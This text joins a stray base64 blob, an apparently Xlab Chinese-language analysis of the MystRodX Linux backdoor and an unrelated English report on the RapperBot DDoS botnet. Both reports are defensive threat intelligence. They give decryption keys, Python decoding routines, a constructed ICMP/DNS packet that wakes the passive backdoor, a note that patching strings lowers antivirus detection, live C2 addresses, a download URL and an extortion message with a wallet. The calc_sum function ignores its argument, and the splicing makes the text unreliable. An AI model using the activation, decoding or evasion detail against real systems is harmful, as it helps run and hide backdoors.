vEiZTjHayg4o1yLANpPtRTfmIMcLfSRIw2BCdthqmPLwx8L46rvUycpHvL3Nb7vl9Uwr12%2BqRjMQj5aaLg4veTaOnRCSJTjVq9aRrzjZutk1hb9CiS/JigJYJoxhCnZ82ZpTIzrjMR8RjES5UX9%2B9/3xkARRcAunSTQP8SZiPVuMOXTHyKB8nr7NsfoUeQ1ixisswp7E3FOqmel92N2CdmrifZzdD3KmnPubHhM5OIX7x0X9004py1zlMSZCAPPLvrCxLpBwqkmuxNjlW7Qz6FKMgXoiwucVrYUzj3rWPBpENrqBAkWvKR3c9Y6dKzTmOPT/CRsEvdbe/l5MWmg5n7vog0TOR3TQpaDRBVC6HMsCSIS/NG0lteKVEevZQDQvSqtWbjMneAUvQ8RLEl8e7CDAQN7xfmQpdRVbaqUtD7hzvz9pfsHgWCG5g0lMkYA6NQFtfyH98/DwB/Jo5fmUANQZGu8XJ6pDF7KSqbqKDxk2EzVNK7po3llMavonwq9JxHk8xoywqGhNoKLWbFlatzFx6fTqn%2BtLZBZcYzb/csSzWeq9t3ireaZw3EJGaxOX09YvlTZbCMIyIEed17qkdNbufSJ4hPWsLHzmnihehvy1xOPlmVX%2BjLnBHRX5mNgVdWednIL0duHduvvCOejxcn5QFTwaspWfeSXYXlNoMFrVfCvrv%2BscinLs2OvtUlBV3mijU2pnE0tmTn%2BZqpYCeht5cWA5VAPbz63mOEIAl9%2BNcYsrUAaZf51jiyzhBI%2BW0pH5kATshWsI0Ltl6rThYzCOYdgzaSRDEjOw/dNqJdK2k8Ut4t5uUvcgw4oryOrhQOJVaVcGX%2BvRVnwYzfeF5ryWFbfvlVp661XNlA7

2025年6月6日，Xlab大网威胁感知系统监测到 IP 139.84.156.79正在传播一个VT低检测 4/65，名为dst86.bin的可疑ELF文件。多引擎检测模块将该文件标识为MIRAI僵尸网络，但AI研判模块却没有给出相应的结果。这个“异常”引起了我们的兴趣，经过分析确认它是Dropper，最终会释放出一个全新的后门木马，和Mirai完全无关，多家杀软将其标记为Mirai是不准确的。基于其传僠中使用的文件名dst，释放样本中的类名cmy_，多种形式的Xor算法，我们将它命名为MystRodX。

MystRodX是一个由c++语言实现的典型后门木马，支持文件管理，端口转发，反弹SHELL，sockets管理等功能。相较于一般的后门，MystRodX在隐匿性，灵活性俩方面具有非常鲜明的特点。其中隐匿性体现在对于不同级别敏感信息采用了差异化加密策略：

1. 虚拟机&调试器检测等相关敏感字符串使用单字节xor加密
2. AES密钥，Payload，激活报文使用自定义的Transform算法加密
3. 配置文件使用AES CBC模式加密

而灵活性则是MystRodX会根据不同的配置动态开启不同的功能特性，比如网络协议使用TCP或HTTP，流量直接使用明文或AES加密等。其中最有意思的是支持被动唤醒的触发模式，即MystRodX可配置成被动式后门，在不使用开放端口的情况下由特定的DNS或ICMP网络报文激活。

MystRodX的配置中存在一项用于设定后门生效时间的选项。在已捕获的样本中，该选项所设置的最早时间为2024年01月07日 23:10:20，表明该后门在真实网络中已潜伏超过20个月，且一直未被安全社区准确识别。此外，基于奇安信网络空间测绘鹰图平台的C2探测服务，发现了3个仍在活跃的C2服务器，并以技术手段确认在野还存在未被捕获的样本。再考虑到该后门所采用的被动通信机制所带来的高隐蔽特性，我们决定撰写本文，公开相关研究成果，以揭示这一长期存在的威胁，为增强网络安全防御能力提供支持。

被动后门模式

当配置中Backdoor Type选项的值为1时，MystRodX开启被动后门模式，它使用RAW SOCKET监听网络流量，可在不使用开放端口的情况下，被特定的DNS或ICMP网络报文激活。

激活报文采用了Appendix章节中的Transform算法加密，解密后的格式为 Magic（4字节）+ Protocol（4字节）+ Port（4字节）+ C2。当 Magic 值比对通过后，MystRodX 便会根据报文中指定的协议类型与C2建立通信，等待接收攻击者的后续指令。

不同于知名的SYNfull Knock后门完全利用TCP协议内部字段以传递指令，MystRodX使用的是一种更为简单的方式，即激活指令隐藏在ICMP 载荷或DNS请求的域名中。

0x1: DNS激活报文

首先看一下DNS激活报文，有效的激活报文必须是www.DomainName.com这种格式。

DomainName {9-bytes mask}UBw98KzOQyRpoSgk5+ViISKmpC6ubi7vao= 使用base64解码后得到以下密文：

00000000: C5 E4 F2 A7 11 73 DD 40  70 F7 C2 B3 39 0C 91 A6  .....s.@p...9...
00000010: 84 A0 93 9F 95 88 84 8A  9A 90 BA B9 B8 BB BD AA  ................

使用Transform算法，magic参数为0x0d，magic2参数为密文的最后一字节 0xaa, key参数为key_for_backdoor进行解密，即可得到以下明文。

按照激活报文格式对明文进行解析，可知

• Magic值为CAT
• 协议类型为TCP
• 端口为0x1f4a，即8010
• C2为149.28.137.254

当Magic通过比对之后，MystRodX就与C2 149.28.137.254:8010建立通信，等待执行其下发的指令。

0x2: ICMP激活报文

接着看一下ICMP激活报文，这次我们从正向的角度，构造报文，观察样本的行为。

首先构造一个简单的ICMP ping请求 08 00 00 00 30 39 00 01, 接着构造PAYLOAD，指定C2为192.168.96.1，端口为443，协议使用HTTP。

00000000: 43 41 54 00 01 00 00 00  BB 01 00 00 31 39 32 2E  CAT.........192.
00000010: 31 36 38 2E 39 36 2E 31  00 00 00 00 00 00 00 00  168.96.1........
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

然后使用Transform算法，magic2参数设为0x9f对Payload进行加密。最终将ICMP 与 Payload合并，形成以下的ICMP报文。

当MystRodX收到该ICMP报文后，就会与192.168.96.1:443建立通信连接，发送HTTP格式的上线报文。这和我们的预期完全一致，验证了分析的正确性。

深入挖掘

在目前捕获的俩个MystRodX样本中，其配置的C2服务器均未开放有效端口。完成逆向分析后，我们面临一个关键问题：MystRodX究竟是一个仍在活跃的威胁，还是已被彻底废弃？为回答这一问题，我们依托于奇安信网络空间测绘鹰图平台分别从BOT端和C2端进行了一些尝试。

0x1: 唤醒BOT

我们尝试在全网范围内发送DNS/ICMP激活报文，意图唤醒处于被动模式的MystRodX后门，从而定位潜在受害者。遗憾的是，除我们自己的测试IP外，并未收到任何有效上线响应。造成这一现象的原因可能包括：在野MystRodX样本并未启用被动后门模式，或者样本使用了新的密钥、Magic值等配置，导致我们发出的激活报文未能匹配生效。

0x2: 探测C2

借助活跃C2探测服务的支持，我们成功发现3个仍在活跃的在野C2服务器。这些服务器对上线报文做出了响应，向Bot回复7号指令，要求开启流量加密。它们从2024年活跃至今，证明了MystRodX威胁的持续存在。

在MystRodX的配置项中包含一组RSA公钥，用于解密7号指令。攻击者通常会在不同活动中部署不同的公钥，目前已发现的两个公钥分别用于“neybquno”和“zoufkcfr”活动。在7号指令报文中，偏移0x110处长度为256字节的部分为MagicString的密文。只有当该密文经解密后得到的MagicString与样本中硬编码的字符串 0x68abut 完全一致时，MystRodX才会尝试开启流量加密。利用这一特性，可以判断某个C2是否用于已知的攻击活动。

在新捕获的三个活跃C2服务器中，仅149.28.137.254下发的7号指令能够被已知公钥成功解密。这一现象表明，另外两个C2（156.244.6.68与185.22.153.228）应归属于某次尚未知晓的攻击活动，意味着当前在野环境中肯定存在尚未被捕获的MystRodX样本。

检测分析

在俩个月内MystRodX的样本检测率稍有提高，目前已升至6/65，主流标签依然是Mirai。

我们推测部分杀软使用Mirai这个标签，是因为样本使用了Mirai经典的单字节Xor的方式加密与虚拟机，调试器相关的字符串。

尝试俩种patch方式：一种是移除样本中虚拟机，调试器相关的加密字串；另一种是使用明文替换对应的密文。杀软对Patch之后文件的检测让人诧异，结果表明这俩种patch方式都有效的降低了检测率。然而这些字串实际上和样本的核心功能完全无关，这说明社区并未真正的识别MystRodX这一威胁。

Dropper分析

0x1: 字串解密

MystRodX使用单字节Xor对敏感的字符串进行加密保护，解密方法很简单：密文最后一字节为xor密钥，将其与密文逐字节进行xor即可。如密文\x13\x08\x12\x04\x17\x00\x65，它的密钥为0x65，解密后为vmware\x00。为了分析的方便，可以使用Idapython脚本实现批量解密。

效果如下所示：

解密出的字符串可以分成3大类，分别用于虚拟机检测，调试检测，启动Launcher等功能。

1. VM相关：检查/sys/class/dmi/id/bios_vendor的内容是否包含vmware，vbox，Phoneix，innotek来判断当前是否处于虚拟化环境
2. Debugger相关：检查父进程名是否匹配常见调试工具gdb，lldb，ltrace，strace判断当前进程是否被调试
3. Launcher相关：下一阶段Launcher文件名，pid文件，以及工作目录

0x2: Payload解密

解密Payload前需要预先设置一个keyinfo的结构体，其中key1的值为0x13，xorkey由样本硬编码，长度为32字节。

struct keyinfo
{
  uint8_t key1;
  uint8_t unknow[3];
  void *xorkey;
  uint16_t xorkey_len;
  uint8_t key2;
  uint8_t notused;
};

xorkey 
00000000  02 06 03 09 04 02 0e 0a 01 0f 08 0a 04 0d 0b 09  |................|
00000010  0a 09 01 03 06 05 6d 0c 01 02 0f 03 03 0a 05 00  |......m.........|

而key2则是对xorkey使用类似校验和的算法计算而来，此处它的值为0x90。

获得key1，xorkey，key2 之后使用以下代码片段解密Payload，可以看出Payload的最后一个字节也是一个密钥。这个算法在MystRodX的多个场景中重复使用，如AES密钥的解密，激活报文的解密等，我们称之为MystRodX_Transform。

经过分析后，我们使用Python实现了对该算法的模拟，详情见Appendix章节的Transform Algorithm部分。实际使用只需提供magic,magic2,以及key即可。例如解密Payload，magic为上文所说的key1 0x13，magic2为Payload的最后一字节 0xab，key使用key_for_dropper。

解密后的Payload中包含3个关键文件chargen，busybox，daytime。其中daytime为Launcher组件，负责启动chargen；chargen为核心组件MystRodX后门。Payload 的校验机制依赖 C2 0A D7 A4 22 21 5A 这一 7 字节的校验值。Dropper会比对该值，仅在匹配时才会释放 Launcher 和 MystRodX 后门。

Launcher分析

Launcher使用相同的字串加密算法，解密后的clog，dlog用于保存MystRodX，Launcher的pid。它的核心功能是持续监控MystRodX后门进程chargen的运行状态，若发现chargen未运行，重新启动该后门进程。

MystRodX后门分析

MystRodX是一个C++实现的典型后门，样本中的类名清晰的揭示了它支持的功能，比如文件管理，反弹shell，socks代理，端口转发等。

由于篇幅限制，本文不再对常见功能展开分析，而是从主机行为，网络协议俩个方面，对MystRodX 的特色功能进行剖析，包括：

• 双进程守护机制
• 配置信息的解密
• 通信协议
• 被动后门模式

0x1: 双进程守护

MystRodX会持续监控daytime进程的运行状态。如果发现daytime未运行，MystRodX会立即启动重Launcher进程。这样，Launcher和MystRodX就形成了双进程守护机制，俩者中任意一个进程终止，都会被对方重新拉起，确保长期稳定运行。

0x2: 配置解密

MystRodX的配置使用AES加密，AES密钥和Payload一样使用Transform算法保护，只不过key1，xorkey，key2的值有所不同。

key1:0xd

xorkey
00000000  00 02 07 11 13 19 04 06 16 0e 18 0b 02 2d 0b 19  |.............-..|
00000010  a0 91 02 23 96 45 6c 1c b1 d2 7f e3 22 00 00 00  | ..#.El.±Ò.ã"...|

key2:0xf1

以下是AES相关的密文与解密后的明文，AES密钥从明文的0x08偏移处开始，长度为32字节。

使用上述 AES 密钥，配合硬编码的 IV 0D 0F 02 04 08 07 2D 1C 01 04 0D 01 02 07 06 02，采用CBC模式即可解密配置信息，感兴趣的读者可以参阅Appendix的CyberChef。

以下为样本72d377fa8ccf23998dd7c22c9647fc2a的配置：

以下为样本a46f2c771fb580e2135ab898731be9a7的配置：

配置中包含活动名、时间、C2，端口，公钥等信息。下表列出了各属性及其在配置中的偏移量（注：配置因样本而异）：

当Backdoor Type等于1时，MystRodx进入被动后门模式，等待激活报文；当Backdoor Type的值不为1时，MystRodX进入主动后门模式与配置中的C2建立通信，等待执行下发的指令。目前捕获的俩个样本中的Backdoor Type的值均为0。

0x3: 网络通信

MystRodX 后门支持 TCP 和 HTTP 两种通信模式，并可配置是否启用 AES 加密。当前捕获的样本均采用 TCP 模式，且未启用加密功能。网络报文格式为Packet Length (4bytes) + Main Code(4 bytes) + Sub Code(4 bytes) + Packet Direction(4 bytes) + Data。

以报文10 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00为例，它表示该报文由于BOT发往C2，长度为16字节，MainCode，SubCode分别为1，其实它正是MystRodX 的上线报文。

Little Endian
10 00 00 00  --->  Pakcet length, 0x10 bytes
01 00 00 00  --->  Main Code, 0x01
01 00 00 00  --->  Sub Code, 0x01 
01 00 00 00  --->  Direction, 0x01, bot_to_c2

协议中的MainCode的值可以是：1，2，5，7，8。其中2、5、7、8分别对应反弹shell、文件管理、端口转发和socks管理功能。

而1则表示通用管理功能，主要用于C2对Bot的控制操作，例如更新配置文件、上传设备信息等。这些操作被分配了不同的SubCode，下表为SubCode以及它们对应的功能。

以实际捕获的流量为例，当bot收到MainCode为1，SubCode为2的指令后，就会将设备信息上报给C2。

另外值得一提的是，当启用流量加密后，网络报文格式有所变化，升级为CipherText Length(4bytes)+ PlainText Length(4bytes) + padding(8bytes) + CipherText。

总结

至此，我们对 MystRodX 的分析暂告一段落。以上是目前所掌握的全部相关情报，网络管理员可参考技术分析中的各项细节，以判断自身系统是否已遭受该后门入侵。

由于视野所限，我们目前尚不清楚 MystRodX 的具体入侵途径、攻击目标与真实意图。我们诚挚欢迎掌握更多信息的业内伙伴向我们提供情报，共同助力网络安全防御。

如果您对我们的研究感兴趣，或了解与该后门相关的线索，欢迎通过X平台与我们联系。

IOC

Downloader

http://139.84.156[.]79/dst-x86.bin

C2 & Campaign

airtel.vpndns.net:443   neybquno
149.28.130.195:443    zoufkcfr

149.28.137.254:8010   neybquno
149.28.137.254:8443   zoufkcfr


156.244.6.68:443    unknown
185.22.153.228:443  unknown

Sample MD5

Dropper
5e3a2a0461c7888d0361dd75617051c6 *dst
72d377fa8ccf23998dd7c22c9647fc2a *chargen
5bf67ce1b245934965557de6d37f286f *daytime


fa3b4d5fd1f6c995395244f36c18ffec *dst
a46f2c771fb580e2135ab898731be9a7 *chargen
e8fcb7f3f0edfc7d1a99918dc14527d1 *daytime
1f003437e3d10e07f5ee5f51c61c548f *networkd

Patched By Xlab
4dc20d1177da7932be3d63efe939b320
2775d9eac1c4a5eb2c45453d63ea6379
4db35e708c2d0cabe4709fa0540bafb7

Public Key

neybquno

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs7/nw8KnB3Ow2uUR1bNW
60UQKOI7emuau8AyCK4KqK/iUGQJzOoopLgi2D4DWrK5Wi+qtgLPt7WSTFUnMGge
XRbXdHamEasF/8kNhuv7F/CKSc+sCy/TrtLeYAQH4nuT+PhMym0aOLEwSJIuDu+4
wgUzONdgpkZZnx2h8TQmzv3LmeQWx1iOk+L4SrwbG3Cs889eWlj2O66hyT5kz6s5
6HxRjZD4V1zuWzcuoNpdqaKKA4DaraF4onYNNctIiSdkaTKPeJaim+whljmuFn8Q
y9WKcT2yogoUaUd3fkx+MPaK80R6nIEN+ooreBkf2eXXJwuTRFl1eocaUENENo5h
QwIDAQAB
-----END PUBLIC KEY-----

zoufkcfr

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5blT2R1XzP3T0Eu0vatg
u8h15ysd+TYQWYCrm1LT9bISVx9Jhzhbf3l5oFQD/TBstZQ6hjhUZuDCczdaYZJu
4HVzhkmVKsyjLV16aG5mCbDiF/bR879jSDJMZoqZJOitAA0xQQ2FqmuOxlFkN8Ab
Rd87xcDTF/SzWcV2nj6UlNHcFilxz48kai3/lcypnIoUtnEMtkMGsRX81LVniyUm
yrvvRAA7PQqHa1qFbJSt3xY+FAzC/Iy6QbSnrMoc8FVMCDUR/YKLCDU2c3SUshUs
Xkanh6odvXOBjEKoEbaBgc3Bb2uAPdiDkEGqDiZl0yitzopA9+f+606Q5UG9CVcW
OwIDAQAB
-----END PUBLIC KEY-----

Appendix

Transform Algorithm

key_for_dropper=bytes.fromhex('02 06 03 09 04 02 0e 0a 01 0f 08 0a 04 0d 0b 09
0a 09 01 03 06 05 6d 0c 01 02 0f 03 03 0a 05 00')


key_for_backdoor=bytes.fromhex('00 02 07 11 13 19 04 06 16 0E 18 0B 02 2D 0B 19
A0 91 02 23 96 45 6C 1C B1 D2 7F E3 22 00 00 00')


def calc_sum(buf):
    checksum = 0
    for i, v in enumerate(key):
        checksum ^= (v << (i&7)) & 0xFF  
    return checksum  
    

def transform(magic,magic2,buf,key):
    
    buf_len=len(buf)-1
    key_len=len(key)
    key1=magic ^ calc_sum(key)
    
    key2=(key[(key1^buf_len)%key_len]) ^ magic2 ^ buf_len
    out=bytearray()
    for i, value in enumerate(buf):
        out.append((key[(i^key1)%key_len] ^ key2 ^ value ^ i)&0xff)

    return out

CyberChef

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'UTF8','string':'z7bcjTSKrFiHYUB63NZendVvtJ2RGfo8'%7D,%7B'option':'Hex','string':'0d%200f%2002%2004%2008%2007%202d%201c%2001%2004%200d%2001%2002%2007%2006%2002'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)To_Hexdump(16,false,false,false)&input=PBpcVtR8VHCFl/oaqAGk0w7pCVMMe1xQ1Ma0FBs2X2P9vpD6GrVC/b6XqKDWb/eFS/g9najMHOO3r38h3V9lZvvSKl31GM2FJbIKw91n/r6Z9TgKmrlLdLroahpV91HmQPi2ttGAyXrF9SmsLMCBqA6X5fIPZ/v3cEI69nKREj1Fq%2BHffi6q4s3sfzgDmFDZL9XFff9g2AtSVm7MLBAhNjMXqifFPxIbo5L0McZ%2B%2B78Wrdv3VnsvZIZTBLLM%2BEY/EqiKf73OIvmRGrI3Q4ksiGyG8CTcau6hrlJUN91IWdSjRU0vNPxvwIU4qy9aTSKhTI2Be2Cc53B3aRu%2BGKMcFG0d/IioT0fb1MxeIMPKtPViBzHRRj0OGbK5OFpX0nfdTyAEW85fnXos14I6yO7%2B/JfsaF4YQv7OVCKgQnYXFrjMMajtE%2BoiGInB6d4ybrNNXA3u3p%2BQ3leErM8yuIpvzSre6wPsyJ4VZxyPQA4iRn1AnZO7QA5UG2IzqPCXZfAvLHhvMqMNI9D8bwInx1pnVdx2kwHQhxvyzLGFxkVrhvTcZSGSG708jkAYfzjItoPANBc0WMg0NWuSs53gVmuc/UJk%2BvEiZTjHayg4o1yLANpPtRTfmIMcLfSRIw2BCdthqmPLwx8L46rvUycpHvL3Nb7vl9Uwr12%2BqRjMQj5aaLg4veTaOnRCSJTjVq9aRrzjZutk1hb9CiS/JigJYJoxhCnZ82ZpTIzrjMR8RjES5UX9%2B9/3xkARRcAunSTQP8SZiPVuMOXTHyKB8nr7NsfoUeQ1ixisswp7E3FOqmel92N2CdmrifZzdD3KmnPubHhM5OIX7x0X9004py1zlMSZCAPPLvrCxLpBwqkmuxNjlW7Qz6FKMgXoiwucVrYUzj3rWPBpENrqBAkWvKR3c9Y6dKzTmOPT/CRsEvdbe/l5MWmg5n7vog0TOR3TQpaDRBVC6HMsCSIS/NG0lteKVEevZQDQvSqtWbjMneAUvQ8RLEl8e7CDAQN7xfmQpdRVbaqUtD7hzvz9pfsHgWCG5g0lMkYA6NQFtfyH98/DwB/Jo5fmUANQZGu8XJ6pDF7KSqbqKDxk2EzVNK7po3llMavonwq9JxHk8xoywqGhNoKLWbFlatzFx6fTqn%2BtLZBZcYzb/csSzWeq9t3ireaZw3EJGaxOX09YvlTZbCMIyIEed17qkdNbufSJ4hPWsLHzmnihehvy1xOPlmVX%2BjLnBHRX5mNgVdWednIL0duHduvvCOejxcn5QFTwaspWfeSXYXlNoMFrVfCvrv%2BscinLs2OvtUlBV3mijU2pnE0tmTn%2BZqpYCeht5cWA5VAPbz63mOEIAl9%2BNcYsrUAaZf51jiyzhBI%2BW0pH5kATshWsI0Ltl6rThYzCOYdgzaSRDEjOw/dNqJdK2k8Ut4t5uUvcgw4oryOrhQOJVaVcGX%2BvRVnwYzfeF5ryWFbfvlVp661XNlA7

RapperBot is an active botnet family first publicly disclosed and named by CNCERT in July 2022. FortiGuard Labs traced its activity back to 2021 in their November 2022 report. In February 2025, RapperBot participated in an attack against Deepseek; its attack behavior has been significantly active since March, with an average of over a hundred targets per day and more than 50,000 bots observed.

This family not only continues to iterate but also leaves provocative messages in its samples. For example, some samples contained an unused string: https://www.youtube.com/watch?v=4fm_ZZn5qaw, which links to a rap song titled "I Am Da Bag." Other samples included strings urging people to follow the rapper 2tallforfood. The authors even asked reverse engineers whether they listened to their music while analyzing the samples and openly taunted our former team, NETLAB360.

It even promised to "leave a new message" in the next update. Unfortunately, we have not received any further communication. The message left in the sample is as follows:

The Pastebin URL in the image, https://pastebin.com/dfHYSqVz, contains the following content after Base64 decoding:

This is rapperbot, rapperbot is in its testing and development stages. Take nothing here seriously.
Brian Krebs approves of this project; he is our number one supporter.
FUCK DOTA3.TAR.GZ (outlaw) AND FUCK xorddos for using those dumb ass low IQ root kits. (they have no idea what's to come)
I love Olivia Rodrigo, soon I will be rich enough to meet her.

Question, Did you guys listen to my music whilst reverse engineering my binary? (https://www.youtube.com/watch?v=4fm_ZZn5qaw)
I can only imagine the Chinese (NETLAB360) researchers not understanding it at all and trying to decode the meaning behind it.

Anyway, 2tall out!
See you guys in the next update, I'll most likely leave another note.

In recent samples, we noticed that RapperBot seems to have started extorting victims, demanding "protection fees" to avoid DDoS attacks.

Donate $5,000 in XMR to (48SFiWgbAaFf75KsRSEEr4iDcxrevFzVmhgfb6Qudss52JK8cCR8bwmUxNBPN2VmqDTucJL3eabiZc5XRYVGkbh6BH58Ytk) to be blacklisted from this and future botnets from us. Contact: horse@riseup.net with TxID and IP Range/ASN.

XLAB has been tracking this family for a long time, and we will share some of our latest findings with the community below.

Bot Scale

When analyzing RapperBot samples, we found that some of the 32 C2 domains it generated had not yet been registered. On April 3, 2024, we proactively registered several of these unused C2 domains. By statistics and analysis of bot hosts (BOTs) accessing our registered domains, we can indirectly obtain information about the RapperBot botnet's scale, distribution, and other details.

In the most recent month of observation, the peak number of BOT IP addresses reached over 50,000, and the BOT activity trend is as follows:

BOT Group Information

BOT Infected Region Distribution

Infected Devices

According to data analysis from XLAB's HUNTER system, RapperBot malware currently primarily infects IoT devices with public network access capabilities, especially network cameras, and home and enterprise-level routers. These devices usually have default weak passwords or firmware vulnerabilities, making them easy targets for attackers. According to statistics, the top WEB interface titles (Web Titles) of infected devices are as follows:

DDoS Attack Targets

RapperBot's attack targets span various industries, including public administration, social security and social organizations, internet platforms, manufacturing, and financial services. From a geographical distribution perspective, China has the largest number of targets. It has also attacked other important platforms during hot periods, such as: attacking the well-known AI platform DeepSeek during the Spring Festival, and attacking the social media platform Twitter in mid-March.

Sample Propagation

Based on our data observations, RapperBot primarily spreads through Telnet weak passwords and by exploiting known vulnerabilities. Currently, the main vulnerabilities it exploits include but are not limited to the following:

Sample Analysis

Through tracking samples of this family, we found that the developer updates the samples every few months and enters an active state. Over more than a year, we have captured 7 variants of this family:

Samples of different variants within this family are largely similar, with modifications mainly focused on message data structures, DNS-TXT record parsing methods, and string decoding. Functionally, they are primarily used for DDoS attacks, with proxy capabilities added starting from October 2024.

C2 Acquisition

Unlike most botnets, RapperBot resolves its C2 domain through DNS-TXT records. So far, we have identified four different TXT record formats:

Regarding C2 ports, early versions used fixed ports such as 1111, 1024, and 9999. In the latest samples, however, a random port is selected from a pool of 35 possible options：

443, 4443, 993, 995, 25565, 1935, 3478, 27015, 7777, 3724, 5222, 7000, 5223, 4444, 3074, 27014, 27050, 3544, 6666, 2222, 22022, 2022, 19153, 3389, 37777, 6036, 34567, 5000, 10554, 554, 18004, 9000, 35000, 10001, 9001

Encryption and Decryption Algorithms

String Decryption Algorithm

RapperBot has used three encryption algorithms. Early versions used the same algorithm as Mirai, followed by the development of unique custom decryption algorithms and an enhanced version of the Mirai decryption algorithm, which are rotated across multiple variants:

1. Improved Mirai source code string decryption method, adding different 4-byte decryption keys for each string and continuing to use Mirai's decryption function.

2. Custom decryption method, using a variable-length key that is encrypted twice before being applied. The data is then decrypted using multi-byte XOR with the processed key.

C2/DNS-TXT Decryption Algorithm

Starting from March 2025, RapperBot uses a custom decryption algorithm to decrypt TXT records and C2 domains:
By decrypting the string table, we can obtain 3 strings:

The top-level domain string is not written to the string table but is written to a global variable via the stack:

After decryption with the unique algorithm, the parts of the C2 domain can be obtained. The decryption algorithm and results are as follows:

def decodeTXT(data:str):
    key = "ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L"
    a = key.find(data[0])
    b = key.find(data[1])
    seed = 56*a+b
    magic = 1000000000 + 0x62B846D
    S = bytearray(range(56))
    T = bytearray(56)
    tseed = seed
    for i in range(55, 0, -1):
        tseed = (magic * tseed + 0x3039)&0xffffffff
        index = tseed%(i+1)
        S[i], S[index] = S[index], S[i]
    for i in range(56):
        T[S[i]] = i
    res = bytearray()
    for i in data[2:]:
        index = (T[key.find(i)] - (len(data)-2) - seed)%56
        res.append(index)
    length = ceil(len(res) * log2(56) / 8)
    res3 = bytearray(length)
    for t1 in res:
        carry = t1
        for i in reversed(range(len(res3))):
            temp = res3[i] * 56 + carry
            res3[i] = temp & 0xFF
            carry = temp >> 8

    while len(res3) > 0 and res3[0] == 0:
        del res3[0]
    return res3 if len(res3) > 0 else bytearray(b'\x00')

Third-level domains: KDXA|EICp|kHbW|YFrV
Second-level domains: ByxWGIMPbwiSkniw|gwYhHCOrybwjWuzh|GaihWstPZUoMtfnU|zkUAFIMFDwVETXJQ
Top-level domains: info|live

Using "|" to split each part of the domain will eventually generate 32 C2 domains, and one will be randomly selected for DNS-TXT resolution. The TXT record string is decrypted using the same decryption algorithm:

TXT record: i7do6u4FtLeeMjmnwWczxKJmtoRRvgCCqiinWW9EUtVpLx38db5xrCfr8mHmsxmutZ4C8fXL2jhGVzfdUQmvvnzZW7pCJmUpi

Decrypted: 5.230.39.10|5.230.68.153|82.24.200.59|82.24.200.68|62.146.235.220|5.230.227.190|5.230.227.191|5.230.227.237|5.230.227.238

Network Protocol

RapperBot’s network protocol is relatively simple, with no key exchange or complex encryption involved; The payload is only XORed with a single byte (using a variable key); Across multiple variants, only the check-in information and message encoding have been modified.

Register

RapperBot's login packet format differs across versions, sometimes adding fields, sometimes reducing them, but always including hostname, source, stunIP, and localIP, and filling unused space with non-zero random numbers. The latest version adds network information fields, with a total size of 120. Below is a description of the relevant structure:

Message Encoding

In terms of network communication, different versions of message formats have slight differences, but they usually consist of 3 parts: Header, Payload, and RandData. Taking the latest sample as an example, the Header adds a checksum field, and RandData is randomly generated from the string table q1x4fyntb3i0umw2gzcr9a5jkv7o8pl6eohds:

Message structure:

struct rapperbot_packet{
	int32 total_size;
	int32 payload_size;
	int16 checkcode;
	int8 xorkey;
	int8 packet_type;
	int8 payload[payload_size];
	int8 randdata[total_size-payload_size];
};

Known message types and their functions:

Contact Us

Readers are always welcomed to reach us on twitter.

IOC

XMR wallet address:
48SFiWgbAaFf75KsRSEEr4iDcxrevFzVmhgfb6Qudss52JK8cCR8bwmUxNBPN2VmqDTucJL3eabiZc5XRYVGkbh6BH58Ytk

C2 Domain:
iranistrash.libre
churchofhollywood.libre
iguessimhere.libre

KDXA.ByxWGIMPbwiSkniw.info
KDXA.ByxWGIMPbwiSkniw.live
KDXA.gwYhHCOrybwjWuzh.info
KDXA.gwYhHCOrybwjWuzh.live
KDXA.GaihWstPZUoMtfnU.info
KDXA.GaihWstPZUoMtfnU.live
KDXA.zkUAFIMFDwVETXJQ.info
KDXA.zkUAFIMFDwVETXJQ.live
EICp.ByxWGIMPbwiSkniw.info
EICp.ByxWGIMPbwiSkniw.live
EICp.gwYhHCOrybwjWuzh.info
EICp.gwYhHCOrybwjWuzh.live
EICp.GaihWstPZUoMtfnU.info
EICp.GaihWstPZUoMtfnU.live
EICp.zkUAFIMFDwVETXJQ.info
EICp.zkUAFIMFDwVETXJQ.live
kHbW.ByxWGIMPbwiSkniw.info
kHbW.ByxWGIMPbwiSkniw.live
kHbW.gwYhHCOrybwjWuzh.info
kHbW.gwYhHCOrybwjWuzh.live
kHbW.GaihWstPZUoMtfnU.info
kHbW.GaihWstPZUoMtfnU.live
kHbW.zkUAFIMFDwVETXJQ.info
kHbW.zkUAFIMFDwVETXJQ.live
YFrV.ByxWGIMPbwiSkniw.info
YFrV.ByxWGIMPbwiSkniw.live
YFrV.gwYhHCOrybwjWuzh.info
YFrV.gwYhHCOrybwjWuzh.live
YFrV.GaihWstPZUoMtfnU.info
YFrV.GaihWstPZUoMtfnU.live
YFrV.zkUAFIMFDwVETXJQ.info
YFrV.zkUAFIMFDwVETXJQ.live



Download Domain:
pool.rentcheapcars.sbs
o0s.cc
4v.wtf
zyb.ac

Hardcode backup C2:
86.104.72.130	Canada|Ontario|Toronto	AS208913|Mouk, LLC
194.156.98.15	China|Hongkong|Hongkong	AS44477|STARK INDUSTRIES SOLUTIONS LTD
94.131.118.154	France|Ile-de-France|Paris	AS44477|STARK INDUSTRIES SOLUTIONS LTD
5.231.3.32	Germany|Hessen|Frankfurt am Main	AS12586|GHOSTnet GmbH
5.231.4.35	Germany|Hessen|Frankfurt am Main	AS12586|GHOSTnet GmbH
185.248.144.209	Italy|Lazio|Rome	AS44477|STARK INDUSTRIES SOLUTIONS LTD
45.150.65.202	United States|New Jersey|Secaucus	AS44477|STARK INDUSTRIES SOLUTIONS LTD